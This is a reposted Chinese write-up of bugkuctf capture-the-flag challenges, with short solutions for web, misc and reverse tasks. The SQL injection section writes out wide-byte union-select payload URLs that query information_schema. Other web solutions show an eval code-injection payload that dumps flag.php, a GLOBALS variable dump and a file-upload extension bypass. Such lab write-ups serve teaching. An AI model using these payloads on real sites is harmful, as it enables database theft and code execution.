bugkuctf writeup

转载

agacx42680 于 2017-09-26 11:26:00 发布 18 收藏
原文链接：http://www.cnblogs.com/kele1997/p/7595839.html

web题

1.签到题

第一道题加群，群公告里面有个flag

2.web2

打开网页之后是一大群滑稽,聪明的人都能找到答案，毫无疑问，应该是一道水题，果断ctrl+u查看源代码，发现flag是明文

3.文件上传

上传一个php文件，被拦截;上传一个图片文件，提示不是php文件，使用burpsuite，上传一个图片文件**.png**，被**burp拦截下来之后，发送到repeater里面，修改文件后缀**.png.php，response里面得到flag

4.计算题

题目出现了一个很简单的验证码，只要输入正确就可以获得flag，但是尝试后发现题目的输入框只能输入一个数字，果断审查元素，发现了输入框的最大长度被设置成了1,于是修改输入框的maxlength属性为5
输入结果就可以了

5.web3

打开网页之后疯狂弹窗，按住回车，稍等片刻之后，查看源代码，发现这个

发现一长串奇奇怪怪的字符，猜测应该是ascii码，加密，所以理论上来说应该编写脚本，但是水平不太够，实际上就是懒得编，所以说手动对表得到flag

6.sql注入

http://103.238.227.13:10083/?id=1 使用了'、'and 1=2',我擦我以为是盲注太刺激了。。。。。后来打开源码看了下gbk编码，考虑宽字符注入构造payloadhttp://103.238.227.13:10083/?id=1%df',成功了，就是宽字符注入。
http://103.238.227.13:10083/?id=1%df' order by 2 一共有两列
http://103.238.227.13:10083/?id=1%df' union select 1,2--+
http://103.238.227.13:10083/?id=1%df' union select 1,database()--+ 数据库是sql5
http://103.238.227.13:10083/?id=1%df' union select 1,string from sql5.key--+ 题目要求查询string字段 查询key表
ps:如果直接查询key表的话key既是表名又是字段名，具体的原因可以这样看
payload:http://103.238.227.13:10083/?id=1%df' union select 1,string fromkey--+
http://103.238.227.13:10083/?id=1%df' union select 1,table_name from information_schema.tables--+ 表名中有个key
http://103.238.227.13:10083/?id=1%df' union select 1,column_name from information_schema.columns--+ 字段名中有个key

7.sql注入1

题目的过滤可以在关键词中加入<>绕过

你必须让他停下来

这个题目打开网页之后，网页会不断的刷新，所以用burpsuite抓包让他停下来，应该会出现flag

耐心抓，每次刷新都不一样，终有一次会出来flag的，。

本地包含

eval存在执行漏洞，使用hello构造payload
http://120.24.86.145:8003/index.php?
hello=1);show_source(%27flag.php%27);var_dump(3

变量一

题目提示flag在变量里面，我们就要把所有的变量值都打印出来。看到题目使用了preg_match,使用正则匹配，变量名只能是字母或者数字的组合，最后输出$$args，把$args的内容当做变量来处理，所以构造payload
http://120.24.86.145:8004/index1.php?args=GLOBALS 得到flag

web4

提示查看源文件，查看源文件发现两个变量的内容是url编码，下面的eval里面使用了unescape函数解码，所以直接使用url解码，得到的字符串手动拼接就可以了
function checkSubmit() { var a=document.getElementById("password");
if("undefined"!=typeof a) { if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!0; alert("Error"); a.focus(); return!1 }
document.getElementById("levelQuest").onsubmit=checkSubmit;
所以在输入框中输入上面67d709b2b54aa2aa648cf6e87a7114f1,得到flag

web5

查看源代码，发现一长串，google/baidu得到这是jsfuck，在chrome里面运行jsfuck的脚本，立刻得到源代码

变量一

题目提示flag在变量里面，我们就要把所有的变量值都打印出来。看到题目使用了preg_match,使用正则匹配，变量名只能是字母或者数字的组合，最后输出$$args，把$args的内容当做变量来处理，所以构造payload `http://120.24.86.145:8004/index1.php?args=GLOBALS` 得到flag

misc

这只是一张单纯的图片？

,使用二进制查看图片，发现图片结尾不对劲，有两个等于号，益达告诉我是base64加密，于是去晚上解密base64，果真得到了flag

隐写2

下载之后是一张图片，binwalk分写了一下，果然是一张图，没啥特别的。。。。。。。。。

winhex打开，修改第二行第7列,由A4改为F4，就可以看到flag了。

又一张图片，还单纯吗？

binwalk 跑一跑，发现里面应该还有一张图片，所以用dd命令分离开，得到flag。

ocr识别就可以得到flag(出题人打错了...)，或者手动输入

reverse

easy_vb

下载文件之后，直接拖到IDA之中，查看注释之中就有flag，不多说了

转载于:https://www.cnblogs.com/kele1997/p/7595839.html